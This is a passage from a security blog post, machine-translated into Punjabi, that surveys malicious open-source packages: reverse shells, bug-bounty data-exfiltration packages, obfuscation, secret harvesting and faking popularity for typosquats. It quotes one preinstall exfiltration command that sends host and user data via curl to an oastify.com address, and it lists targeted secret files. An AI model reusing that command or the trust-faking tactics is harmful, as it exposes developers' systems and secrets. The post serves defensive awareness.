ਹੈ ਅਤੇ ਜਾਂਦਾ ਹੈ। ਕ੍ਰਿਪਟਜੈਕਿੰਗ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਵਿੱਚ ਮੁਹਿੰਮਾਂ ਕਦੇ-ਕਦੇ ਪੌਪ ਅੱਪ ਹੁੰਦੀਆਂ ਹਨ ਅਤੇ ਫਿਰ ਅਲੋਪ ਹੋ ਜਾਂਦੀਆਂ ਹਨ, ਵਾਲਿਟ ਉਪਭੋਗਤਾਵਾਂ ਲਈ ਫਿਸ਼ਿੰਗ ਕਰਦੀਆਂ ਹਨ ਜਾਂ ਅੰਤ ਵਿੱਚ ਵਾਲਿਟ ਪ੍ਰਦਾਤਾ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਂਦੀਆਂ ਹਨ, ਜਿਵੇਂ ਕਿ ਲੇਜਰ ਹਮਲਾ.
ਹੋਰ ਵਿਵਹਾਰ, ਜਿਵੇਂ ਕਿ ਇੱਕ ਨੂੰ ਤੈਨਾਤ ਕਰਨਾ ਪਸ਼ਚ ਦਵਾਰ ਰਿਮੋਟ ਕੋਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਲਈ ਰਿਵਰਸ ਸ਼ੈੱਲ ਖੋਲ੍ਹ ਕੇ ਹੁਣ ਪਹਿਲਾਂ ਨਾਲੋਂ ਘੱਟ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ। ਉਦਾਹਰਣ ਵਜੋਂ, 123rf_ਕੰਟਰੀਬਿਊਟਰ_ਵੈੱਬ ਪੈਕੇਜ (ਹੁਣ ਰਜਿਸਟਰੀ ਤੋਂ ਹਟਾਇਆ ਗਿਆ ਹੈ) ਬਿਨਾਂ ਕਿਸੇ ਗੁੰਝਲਦਾਰਤਾ ਦੇ ਖੁੱਲ੍ਹਦਾ ਹੈ ਇੱਕ ਰਿਵਰਸ ਸ਼ੈੱਲ ਜੋ ਕਿ ਕਾਪੀ ਅਤੇ ਪੇਸਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਰਿਵਰਸ ਸ਼ੈੱਲ ਚੀਟ ਸ਼ੀਟ:
ਜਾਇਜ਼ ਅਤੇ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਤੋਂ ਇਲਾਵਾ, ਅਸੀਂ ਕਈ ਦੁਰਵਿਵਹਾਰ ਦੇਖੇ ਹਨ, ਜਿਨ੍ਹਾਂ ਵਿੱਚ ਸ਼ਾਮਲ ਹਨ:
ਸਪੈਮ ਪੈਕੇਜ
ਹਜ਼ਾਰਾਂ ਛੋਟੇ ਪੈਕੇਜ ਹਨ, ਜ਼ਿਆਦਾਤਰ NPM ਵਿੱਚ, ਜਿਨ੍ਹਾਂ ਵਿੱਚ ਕੋਈ ਮਾਲਵੇਅਰ ਨਹੀਂ ਹੈ ਪਰ ਆਸਾਨ ਕਮਾਈ ਦਾ ਵਾਅਦਾ ਕਰਦੇ ਹਨ, ਸੱਪ ਦਾ ਤੇਲ, ਵਾਇਗਰਾ ਪੇਸ਼ਕਸ਼ਾਂ ਦੇ ਲਿੰਕ, ਅਤੇ ਇਹ ਸਭ ਕੁਝ। ਕੁਝ ਉਪਭੋਗਤਾ ਅਜਿਹੇ ਸਪੈਮ ਪ੍ਰਕਾਸ਼ਤ ਕਰਦੇ ਹਨ ਅਤੇ ਰਜਿਸਟਰੀ ਤੋਂ ਬਹੁਤ ਸਾਰੀ ਬੈਂਡਵਿਡਥ ਲੈਂਦੇ ਹਨ। ਇੱਕ ਹੋਰ ਅਦਾਕਾਰ(ਆਂ) ਨੇ ਸੰਭਾਵਤ ਤੌਰ 'ਤੇ ਇੰਡੋਨੇਸ਼ੀਆ ਤੋਂ ਲਾਭ ਉਠਾਉਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਚਾਹ ਦੀ ਦੁਰਵਰਤੋਂRank ਓਪਨ-ਸੋਰਸ ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਮੁਆਵਜ਼ਾ ਦੇਣ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ, ਸੰਬੰਧਿਤ GitHub ਡਮੀ ਰਿਪੋਜ਼ਟਰੀਆਂ ਦੇ ਨਾਲ ਹਜ਼ਾਰਾਂ ਇੰਟਰਲੈਟੇਡ NPM ਪੈਕੇਜ ਬਣਾ ਕੇ। ਇਹ ਵਰਤੋਂ ਦੀਆਂ ਸ਼ਰਤਾਂ ਦੀ ਸਪੱਸ਼ਟ ਉਲੰਘਣਾ ਹੈ।
ਬੱਗ ਬਾਊਂਟੀ ਅਤੇ ਸੁਰੱਖਿਆ ਖੋਜ ਧੋਖਾਧੜੀ
ਜਦੋਂ ਕੋਈ ਪੈਕੇਜ ਆਪਣੇ ਆਪ ਨੂੰ ਚੰਗੇ ਉਦੇਸ਼ਾਂ ਲਈ ਡੇਟਾ ਨੂੰ ਬਾਹਰ ਕੱਢਣ ਵਾਲਾ ਦੱਸਦਾ ਹੈ, ਜਿਵੇਂ ਕਿ ਬੱਗ ਬਾਊਂਟੀ ਪ੍ਰੋਗਰਾਮਾਂ ਲਈ ਸੁਰੱਖਿਆ ਖਾਮੀਆਂ ਦਾ ਪਤਾ ਲਗਾਉਣਾ ਜਾਂ ਈਕੋਸਿਸਟਮ ਦੇ ਕੁਝ ਪਹਿਲੂਆਂ ਦੀ ਖੋਜ ਕਰਨਾ। ਅਸੀਂ ਇਸ ਸ਼੍ਰੇਣੀ ਵਿੱਚ ਹਜ਼ਾਰਾਂ ਪੈਕੇਜ ਦੇਖੇ ਹਨ, ਜੋ ਪੋਰਟਸਵਿਗਰ (ਜਿਵੇਂ ਕਿ oastify.com ਡੋਮੇਨ ਵਿੱਚ ਹੋਸਟ) ਤੋਂ ਬਰਪ ਕੋਲੈਬੋਰੇਟਰ ਪਤੇ 'ਤੇ ਪਛਾਣ ਲਿਆਉਂਦੇ ਹਨ ਪਰ ਬਹੁਤ ਜ਼ਿਆਦਾ ਸੰਵੇਦਨਸ਼ੀਲ ਡੇਟਾ ਨਹੀਂ ਦਿੰਦੇ ਹਨ। ਅਸੀਂ ਅਕਸਰ ਨਕਲ ਕਰਦੇ ਦੇਖਿਆ ਹੈ ਨਿਰਭਰਤਾ ਉਲਝਣ ਐਲੇਕਸ ਬਿਰਸਨ ਦੁਆਰਾ ਸੰਕਲਪ ਦਾ ਸਬੂਤ, ਜਿਵੇਂ ਕਿ ਔਰੋਰਾ-ਵੈੱਬਮੇਲ-ਪ੍ਰੋ ਪੈਕੇਜ (ਰਜਿਸਟਰੀ ਤੋਂ ਹਟਾਇਆ ਗਿਆ), ਜੋ ਕਿ ਇਸ ਭੈੜੇ ਕੋਡ ਨੂੰ ਪ੍ਰੀ-ਇੰਸਟਾਲ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਚਲਾਉਂਦਾ ਹੈ:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") ਅਤੇ ਇਹ ਵੀ ਸ਼ਾਮਲ ਸੀ "ਇਹ ਸਧਾਰਨ ਨਿਰਭਰਤਾ ਉਲਝਣ ਹਮਲੇ ਦਾ ਸੰਕਲਪ ਦਾ ਸਬੂਤ ਹੈ।" ਵਿੱਚ ਬੇਦਾਅਵਾ ਵੇਰਵਾ ਪੈਕੇਜ.ਜਸਨ. ਇਹ ਸੇਵਾ ਦੀਆਂ ਸ਼ਰਤਾਂ ਦੀ ਸਪੱਸ਼ਟ ਉਲੰਘਣਾ ਹੈ, ਭਾਵੇਂ ਇਸਦਾ ਕੋਈ ਬੁਰਾ ਇਰਾਦਾ ਨਾ ਹੋਵੇ।
ਕੋਈ ਚੰਗੀ ਖ਼ਬਰ? ਅਸੀਂ (ਅਜੇ ਤੱਕ) ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਰਾਹੀਂ ਕੀਤੇ ਗਏ ਰੈਨਸਮਵੇਅਰ ਹਮਲਿਆਂ ਨੂੰ ਨਹੀਂ ਦੇਖਿਆ ਹੈ। ਅਣਜਾਣ ਕਾਰਨਾਂ ਕਰਕੇ, ਸਾਈਬਰ ਅਪਰਾਧੀ ਵਧੇਰੇ ਰਵਾਇਤੀ ਈਮੇਲ ਫਿਸ਼ਿੰਗ, RDP-ਅਧਾਰਿਤ, ਅਤੇ ਡਰਾਈਵ-ਬਾਈ ਡਾਊਨਲੋਡ ਡਿਲੀਵਰੀ ਵਿਧੀਆਂ ਨੂੰ ਤਰਜੀਹ ਦਿੰਦੇ ਜਾਪਦੇ ਹਨ।
ਵਾਧੂ ਤਕਨੀਕਾਂ ਦੇਖੀਆਂ ਗਈਆਂ
ਦ੍ਰਿੜਤਾ, ਬਚਾਅ ਤੋਂ ਬਚਣ, ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨ, ਕਮਾਂਡ ਅਤੇ ਕੰਟਰੋਲ ਮੇਜ਼ਬਾਨਾਂ ਨਾਲ ਸੰਚਾਰ ਕਰਨ ਅਤੇ ਬਾਹਰ ਕੱਢਣ ਲਈ ਬਹੁਤ ਸਾਰੀਆਂ ਤਕਨੀਕਾਂ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਗਈ।
ਅਤਿਰਿਕਤ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਵਿੱਚ ਦੂਜੇ-ਪੜਾਅ ਦੇ ਬਾਈਨਰੀ ਮਾਲਵੇਅਰ ਵਿੱਚ ਸਥਿਰਤਾ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪ੍ਰਾਪਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਪਰ ਕਈ ਵਾਰ ਵਿਵਹਾਰ ਪੈਕੇਜ ਕੋਡ ਵਿੱਚ ਸਥਿਤ ਹੁੰਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ ਨਿਰਧਾਰਤ ਕਾਰਜ ਅਤੇ ਵਿੰਡੋਜ਼ ਰਜਿਸਟਰੀ ਵਿੱਚ ਬਦਲਾਅ ਸਭ ਤੋਂ ਆਮ ਹੁੰਦੇ ਹਨ।
ਛੁਟਕਾਰਾ ਆਮ ਹੈ, ਪਰ ਗੁੰਝਲਦਾਰ ਨਹੀਂ ਹੈ। ਜ਼ਿਆਦਾਤਰ ਟਾਈਪੋਸਕੈਟਿੰਗ ਪੈਕੇਜ (ਯਾਦ ਰੱਖੋ "ਐਂਚੌਜੀ”?) ਬਿਲਕੁਲ ਵੀ ਔਬਫਸਕੇਸ਼ਨ ਦੀ ਵਰਤੋਂ ਨਹੀਂ ਕਰਦੇ; ਬਹੁਤ ਸਾਰੇ ਜਾਂ ਤਾਂ ਟ੍ਰਾਈਵਿਲ (base64/hex ਏਨਕੋਡਿੰਗ ਜਾਂ ਸਬਸਟੀਚਿਊਸ਼ਨ ਸਿਫਰ ਜਿਵੇਂ ਕਿ rot13) ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ ਜਾਂ ਉਪਲਬਧ ਕੋਡ ਔਬਫਸਕੇਟਰਾਂ ਅਤੇ ਮਿਨੀਫਿਕੇਸ਼ਨ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ, ਜਿਸਨੂੰ ਸਹੀ ਟੂਲਿੰਗ ਨਾਲ ਆਸਾਨੀ ਨਾਲ ਉਲਟਾਇਆ ਜਾ ਸਕਦਾ ਹੈ। ਸਿਰਫ਼ “ਸ਼ਾਰਕ” ਹੀ ਅਸਲੀ, ਹਾਰਡ-ਕੋਰ, ਔਬਫਸਕੇਸ਼ਨ, ਉਲਟਾਉਣ ਲਈ ਔਖਾ-ਇੰਜੀਨੀਅਰ ਕਰਦੇ ਹਨ।
ਔਫਸਕੇਸ਼ਨ ਹਮਲੇ ਨੂੰ ਲੁਕਾ ਸਕਦਾ ਹੈ, ਪਰ ਇੱਕ ਓਪਨ-ਸੋਰਸ ਕੰਪੋਨੈਂਟ ਵਿੱਚ ਕੋਡ ਨੂੰ ਕਿਉਂ ਔਫਸਕੇਸ਼ਨ ਕਰਨ ਦੀ ਲੋੜ ਪਵੇਗੀ? ਕੀ ਕੋਈ ਸਬੂਤ ਹੈ ਕਿ ਕਿਸੇ ਚੀਜ਼ ਨੂੰ ਸਾਦੀ ਨਜ਼ਰ ਤੋਂ ਲੁਕਾਉਣ ਦੀ ਲੋੜ ਹੈ? ਸਾਨੂੰ ਗੈਰ-ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦੀਆਂ ਬਹੁਤ ਸਾਰੀਆਂ ਉਦਾਹਰਣਾਂ ਮਿਲੀਆਂ ਹਨ ਜੋ ਬੌਧਿਕ ਸੰਪਤੀ ਦੀ ਰੱਖਿਆ ਲਈ ਔਫਸਕੇਸ਼ਨ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ, ਜੋ ਕਿ "ਓਪਨ ਸੋਰਸ" ਦੇ ਉਲਟ ਹੈ। ਔਫਸਕੇਸ਼ਨ ਨੂੰ ਮਾਲਵੇਅਰ ਦੇ ਸਬੂਤ ਵਜੋਂ ਵਰਤਿਆ ਜਾ ਸਕਦਾ ਹੈ, ਪਰ ਇਹ ਨਿਰਣਾਇਕ ਨਹੀਂ ਹੈ। ਇਸਨੂੰ ਡੀ-ਔਫਸਕੇਸ਼ਨ ਕਰਨਾ ਵੀ ਔਖਾ ਹੈ।
ਚੋਰੀ ਰੱਖਿਆ ਨਿਯੰਤਰਣ ਤੋਂ ਸਧਾਰਨ ਤਕਨੀਕਾਂ ਅਪਣਾਉਂਦੇ ਹਨ। ਖਤਰਨਾਕ ਕੋਡ ਅਕਸਰ ਸੁਰੱਖਿਅਤ ਹੁੰਦਾ ਹੈ ਕੋਸ਼ਿਸ਼ ਕਰੋ... ਫੜੋ ਬਲਾਕ ਜੋ ਕਿਸੇ ਵੀ ਅਪਵਾਦ ਨੂੰ ਨਜ਼ਰਅੰਦਾਜ਼ ਕਰਦੇ ਹਨ, ਇਸ ਲਈ ਲੌਗਸ ਵਿੱਚ ਅਸਧਾਰਨ ਗਤੀਵਿਧੀ ਨਹੀਂ ਦਿਖਾਈ ਜਾਂਦੀ। ਵਾਤਾਵਰਣ ਦੀ ਪੁਸ਼ਟੀ (ਇੱਕ VM ਜਾਂ ਕੰਟੇਨਰ ਵਿੱਚ ਚੱਲ ਰਹੀ ਹੈ) ਬਹੁਤ ਘੱਟ ਹੁੰਦੀ ਹੈ, ਜਦੋਂ ਤੱਕ ਕਿ ਕਿਸੇ ਖਾਸ ਸੰਗਠਨ ਜਾਂ ਵਾਤਾਵਰਣ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਣ ਵਾਲੇ ਮਾਲਵੇਅਰ ਲਈ ਨਹੀਂ।
ਤਸਵੀਰਾਂ ਅਤੇ PDF ਫਾਈਲਾਂ ਵਿੱਚ ਬਾਈਨਰੀ ਨੂੰ ਛੁਪਾਉਣਾ (ਇੱਕ ਤਰ੍ਹਾਂ ਦੀ ਸਟੈਗਨੋਗ੍ਰਾਫੀ) ਇੱਕ ਹੋਰ ਤਕਨੀਕ ਸੀ ਜੋ ਖੋਜ ਤੋਂ ਬਚਣ ਲਈ ਦੇਖੀ ਗਈ ਸੀ।
ਕਿਉਂਕਿ ਸਭ ਤੋਂ ਆਮ ਖਤਰਨਾਕ ਹਿੱਸੇ ਇਨਫੋਸਟੀਲਰ ਹਨ, ਡਾਟਾ ਇਕੱਠਾ ਕਰਨ ਜ਼ਰੂਰੀ ਹੈ। ਗੁਪਤ (ਪਾਸਵਰਡ, ਐਕਸੈਸ ਟੋਕਨ, API ਕੁੰਜੀਆਂ, ਕ੍ਰਿਪਟੋਗ੍ਰਾਫਿਕ ਕੁੰਜੀਆਂ) ਨਿਯਮਿਤ ਤੌਰ 'ਤੇ ਲੌਗ ਫਾਈਲਾਂ, ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲਾਂ, ਅਤੇ ਇੱਥੋਂ ਤੱਕ ਕਿ ਕਲਿੱਪਬੋਰਡ (ਬੈਂਕਿੰਗ ਟ੍ਰੋਜਨ ਅਤੇ ਕ੍ਰਿਪਟੋ ਸਟੀਲਰਾਂ ਨਾਲ ਦਿਖਾਈ ਦਿੰਦੇ ਹਨ) ਵਿੱਚ ਸਕੈਨ ਕੀਤੇ ਜਾਂਦੇ ਹਨ। ਸਰੋਤ ਕੋਡ ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਵੀ ਆਮ ਹੈ, ਕਿਉਂਕਿ ਪੈਕੇਜ ਇੰਸਟਾਲੇਸ਼ਨ ਅਕਸਰ ਇੱਕ ਵਿਕਾਸ ਨੋਡ ਵਿੱਚ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਜਿੱਥੇ ਅੰਦਰੂਨੀ ਗਿੱਟ ਰਿਪੋਜ਼ਟਰੀਆਂ ਨੂੰ ਕਲੋਨ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਅਸੀਂ ਗਿੱਟ ਰਿਪੋਜ਼ਟਰੀਆਂ ਦੀ ਖੋਜ ਵਿੱਚ ਪੈਕੇਜਾਂ ਨੂੰ ਡਾਇਰੈਕਟਰੀਆਂ ਦੀ ਗਿਣਤੀ ਕਰਦੇ ਦੇਖਿਆ ਹੈ। .env, private.pem, settings.py, app.js, ਜਾਂ application.properties ਵਰਗੇ ਸਥਾਨਾਂ ਦੀ ਭਾਲ ਕਰਨਾ ਕਾਫ਼ੀ ਆਮ ਹੈ।
ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਇੱਕ ਹੋਰ ਵਿਆਪਕ ਤੌਰ 'ਤੇ ਤੈਨਾਤ ਕਾਰਵਾਈ ਹੈ। ਸਿਰਫ ਕੁਝ ਕੁ ਖਤਰਨਾਕ ਪੈਕੇਜ ਹੀ ਐਕਸਟਰੈਕਟ ਕੀਤੇ ਡੇਟਾ ਦੀ ਮੰਜ਼ਿਲ ਨੂੰ ਲੁਕਾਉਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦੇ ਹਨ। ਟੈਲੀਗ੍ਰਾਮ ਚੈਨਲ ਅਤੇ ਐਨਗ੍ਰੋਕ ਵਰਗੀਆਂ ਸੁਰੰਗਾਂ ਅਕਸਰ ਵਰਤੇ ਜਾਂਦੇ ਹਨ। ਅਤੇ ਬਹੁਤ ਸਾਰੇ ਹਨ ਆਮ ਤੌਰ 'ਤੇ ਵਾਈਟਲਿਸਟ ਕੀਤੇ ਡੋਮੇਨ ਜੋ ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਹਨ.
ਹੋਰ ਤਕਨੀਕਾਂ, ਜਿਵੇਂ ਕਿ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰ ਵਾਧਾ ਜਾਂ ਪਾਸੇ ਦੀ ਗਤੀ, ਘੱਟ ਆਮ ਸਨ।
ਪ੍ਰਸਿੱਧੀ ਅਤੇ ਵਿਸ਼ਵਾਸ ਪ੍ਰਾਪਤ ਕਰਨਾ
ਕਲਪਨਾ ਕਰੋ ਕਿ ਇੱਕ ਤਕਨੀਕੀ ਠੱਗ ਜਿਸ ਕੋਲ ਇੱਕ ਤਿਆਰ-ਕੀਤੀ ਖਤਰਨਾਕ ਚੀਜ਼ ਹੈ, ਸੋਚ ਰਿਹਾ ਹੈ: "ਮੈਂ ਇਸ ਚੀਜ਼ ਨੂੰ ਉਨ੍ਹਾਂ ਬੇਖ਼ਬਰ ਮੂਰਖਾਂ ਲਈ ਭਰੋਸੇਯੋਗ ਕਿਵੇਂ ਬਣਾਵਾਂ?"।
ਇਸਦਾ ਅਰਥ ਹੈ ਕਿ ਖਤਰਨਾਕ ਹਿੱਸੇ ਲਈ ਐਂਟਰੀ ਕਿਵੇਂ ਕਰਨੀ ਹੈ ਤਾਂ ਜੋ ਬਹੁਤ ਸਾਰੇ ਸਟਾਰ / ਫੋਰਕਸ (ਪ੍ਰਸਿੱਧੀ ਲਈ), ਪਲੱਸ ਸੰਸਕਰਣ / ਮੁੱਦੇ ਅਤੇ pull requests (ਗਤੀਵਿਧੀ ਲਈ)। ਇਹ ਵਿਚਾਰ ਕਾਲਪਨਿਕ ਪ੍ਰਸਿੱਧੀ (ਤਾਰੇ) ਅਤੇ ਨਿਰਭਰਾਂ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨਾ ਹੈ, ਅਤੇ ਪ੍ਰਸੰਗਿਕਤਾ ਅਤੇ ਰੱਖ-ਰਖਾਅ ਬਾਰੇ ਇੱਕ ਵਿਸ਼ਵਾਸਯੋਗ ਨਜ਼ਰੀਆ ਰੱਖਣਾ ਹੈ।
ਰਜਿਸਟਰੀ ਇਹ ਜਾਂਚ ਨਹੀਂ ਕਰਦੀ ਕਿ GitHub ਪ੍ਰੋਜੈਕਟ ਵਿੱਚ ਸਮੱਗਰੀ ਅਤੇ ਪੈਕੇਜ ਸਮੱਗਰੀ ਮੇਲ ਖਾਂਦੀਆਂ ਹਨ ਜਾਂ ਨਹੀਂ।. ਇਹ ਸਾਫਟਵੇਅਰ ਸਪਲਾਈ ਚੇਨ ਵਿੱਚ ਇੱਕ ਜਾਣਿਆ-ਪਛਾਣਿਆ ਮੁੱਦਾ ਹੈ। ਜਨਤਕ ਰਜਿਸਟਰੀਆਂ ਵਿਸ਼ਾਲ ਸਿੰਕਹੋਲ ਹਨ ਜੋ ਉਨ੍ਹਾਂ 'ਤੇ ਸੁੱਟੀ ਗਈ ਹਰ ਚੀਜ਼ ਨੂੰ ਨਿਗਲ ਜਾਂਦੀਆਂ ਹਨ। ਤੁਸੀਂ ਕਿਸੇ ਵੀ ਰਿਪੋਜ਼ਟਰੀ ਨੂੰ ਲਿੰਕ ਕਰ ਸਕਦੇ ਹੋ।
ਜੇਕਰ ਖਤਰਨਾਕ ਪੈਕੇਜ ਟਾਈਪੋ-ਸਕੁਐਟਸ ਕਿਸੇ ਪ੍ਰਸਿੱਧ ਪੈਕੇਜ ਨੂੰ ਛੂੰਹਦਾ ਹੈ, ਤਾਂ ਇਹ ਆਸਾਨ ਹੈ: ਪੈਕੇਜ ਬਣਾਉਣ ਅਤੇ ਇਸਨੂੰ ਰਜਿਸਟਰੀ ਵਿੱਚ ਪ੍ਰਕਾਸ਼ਿਤ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਨਿਰਭਰਤਾ ਮੈਨੀਫੈਸਟ ਵਿੱਚ ਮੌਜੂਦਾ GitHub ਰਿਪੋਜ਼ਟਰੀ ਦਾ ਹਵਾਲਾ ਦਿਓ। ਨਕਲੀ GitHub ਰੈਪੋ 'ਤੇ ਨਵੇਂ ਪੈਕੇਜਾਂ ਲਈ, ਤੁਹਾਨੂੰ ਹੋਰ ਚਤੁਰਾਈ ਦੀ ਲੋੜ ਹੋ ਸਕਦੀ ਹੈ, ਸ਼ਾਇਦ ਨਕਲੀ ਬਣਾਉਣਾ ਤਾਰਾ ਦੇਖਣਾ/ਕਾਂਟੇ ਲੈਣਾ ਸਕ੍ਰਿਪਟਿੰਗ ਰਾਹੀਂ GitHub ਖਾਤੇ।
ਅਤੇ ਜੇਕਰ ਤੁਹਾਡੇ ਪੈਕੇਜ ਦੀ ਸਮੱਗਰੀ ਰੈਪੋ ਨਾਲ ਕਾਫ਼ੀ ਮਿਲਦੀ-ਜੁਲਦੀ ਹੈ, ਤਾਂ ਇੱਥੇ ਅਤੇ ਉੱਥੇ ਕੁਝ ਚੰਗੀ ਤਰ੍ਹਾਂ ਡਿਜ਼ਾਈਨ ਕੀਤੇ ਬਦਲਾਅ ਕਰੋ... ਤੁਸੀਂ ਆਪਣੇ ਮਾਲਵੇਅਰ ਨੂੰ ਇੱਕ ਨਵੇਂ ਪੈਕੇਜ ਵਿੱਚ ਇੰਜੈਕਟ ਕਰ ਸਕਦੇ ਹੋ ਜੋ ਮੌਜੂਦਾ ਰਿਪੋਜ਼ਟਰੀ ਦਾ ਹਵਾਲਾ ਦਿੰਦੇ ਹੋਏ ਇੱਕ ਪ੍ਰਸਿੱਧ ਪੈਕੇਜ ਵਰਗਾ ਹੈ, ਅਤੇ ਟਾਈਪੋਜ਼ ਦੀ ਉਡੀਕ ਕਰੋ। ਜੇਕਰ ਕੋਈ ਪੈਕੇਜ ਟਾਰਬਾਲ ਦੀ ਸਮੱਗਰੀ ਦੀ ਤੁਲਨਾ GitHub ਰਿਪੋਜ਼ਟਰੀ ਦੀ ਸਮੱਗਰੀ ਨਾਲ ਕਰਨ ਦੀ ਹਿੰਮਤ ਕਰਦਾ ਹੈ, ਤਾਂ ਮਾਲਵੇਅਰ ਇੰਜੈਕਸ਼ਨ ਪੁਆਇੰਟਾਂ 'ਤੇ ਅੰਤਰ ਆਸਾਨੀ ਨਾਲ ਖੁੰਝ ਸਕਦੇ ਹਨ। ਅਸੀਂ ਇਸ ਪਹੁੰਚ ਨੂੰ ਪਹਿਲਾਂ ਕਈ ਵਾਰ ਦੇਖਿਆ ਹੈ।
ਇੱਕ ਕੰਪੋਨੈਂਟ ਲਈ ਇੱਕ ਵਿਧੀ ਜੋ ਉਤਪਤੀ, ਪੈਕੇਜ ਕਿਵੇਂ ਬਣਾਇਆ ਗਿਆ ਸੀ, ਕਿਹੜੇ ਸਰੋਤਾਂ ਤੋਂ ਅਤੇ ਕਿਸ ਦੁਆਰਾ ਬਣਾਇਆ ਗਿਆ ਸੀ, ਬਾਰੇ ਇੱਕ ਛੇੜਛਾੜ-ਪਰੂਫ ਬਿਆਨ ਦੇਣ ਦਾ ਸਵਾਗਤ ਕੀਤਾ ਜਾਵੇਗਾ। ਪਰ ਇਹ ਇੱਕ ਵੱਖਰੀ ਕਹਾਣੀ ਹੈ।
ਕੀ ਕੰਪੋਨੈਂਟ X ਮਾਲਵੇਅਰ ਹੈ?
ਕੀ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦਾ ਕੋਈ (ਵਿਆਪਕ) ਡੇਟਾਬੇਸ ਹੈ? ਨਹੀਂ। ਓਪਨ-ਸੋਰਸ ਕਮਜ਼ੋਰੀਆਂ ਲਈ ਇੱਕ CVE ID ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਪਰ ਸਿਰਫ ਕੁਝ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ (ਖਾਸ ਕਰਕੇ ਉਹ ਜੋ ਸੁਰਖੀਆਂ ਬਣਾਉਂਦੇ ਹਨ) ਨੂੰ ਇੱਕ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ। ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਲਈ CWE ਹੈ CWE-506 (ਏਮਬੈਡਡ ਖਤਰਨਾਕ ਕੋਡ)।
ਆਮ ਮਾਲਵੇਅਰ ਟੂਲ (VirusTotal, MalwareBazaar, SOREL-20M…) ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਲਈ ਖਾਸ ਪ੍ਰਬੰਧ ਨਹੀਂ ਕਰਦੇ। ਇਹ ਸਵਾਗਤਯੋਗ ਹੋਵੇਗਾ!
ਵਿਸ਼ਲੇਸ਼ਣ ਲਈ ਖੋਜ ਨਮੂਨਾ ਡੇਟਾਬੇਸ ਅਤੇ ਡੇਟਾਸੈੱਟ ਹਨ (ਅਸੀਂ ਉਨ੍ਹਾਂ ਵਿੱਚੋਂ ਕੁਝ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਾਂ), ਪਰ ਐਂਟਰੀਆਂ ਸਿਰਫ਼ ਉਦੋਂ ਹੀ ਅੱਪਡੇਟ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ ਜਦੋਂ ਖਤਰਨਾਕ ਪੈਕੇਜ ਦਾ ਪਤਾ ਲੱਗਦਾ ਹੈ, ਜੋ ਅਕਸਰ ਬਹੁਤ ਦੇਰ ਨਾਲ ਹੁੰਦਾ ਹੈ। ਜੇਕਰ ਤੁਸੀਂ ਦਿਲਚਸਪੀ ਰੱਖਦੇ ਹੋ, ਤਾਂ OpenSSF ਖ਼ਰਾਬ ਪੈਕੇਜ ਇੱਕ ਵਧੀਆ ਸ਼ੁਰੂਆਤ ਹੈ।
ਅਗਲੀ ਪੋਸਟ ਵਿੱਚ, ਅਸੀਂ ਇਸ ਬਾਰੇ ਚਰਚਾ ਕਰਾਂਗੇ ਕਿ ਕਿਵੇਂ ਪਤਾ ਲਗਾਇਆ ਜਾਵੇ ਕਿ ਕੋਈ ਦਿੱਤਾ ਗਿਆ ਪੈਕੇਜ ਖਤਰਨਾਕ ਹੈ ਜਾਂ ਨਹੀਂ। ਸਪੋਇਲਰ: ਹਾਂ, ਐਕਸਪੋਜ਼ਰ ਵਿੰਡੋ ਦੇ ਸ਼ੁਰੂ ਵਿੱਚ ਖਤਰਨਾਕ ਹਿੱਸਿਆਂ ਦੀ ਜਾਂਚ ਕਰਨ ਦੇ ਤਰੀਕੇ ਹਨ, ਇਸ ਤੋਂ ਪਹਿਲਾਂ ਕਿ ਰਜਿਸਟਰੀ ਕਿਸੇ ਜਾਣੇ-ਪਛਾਣੇ ਖਤਰਨਾਕ ਹਿੱਸੇ ਨੂੰ ਹਟਾ ਦੇਵੇ।
ਹੋਰ ਪੜ੍ਹਨ
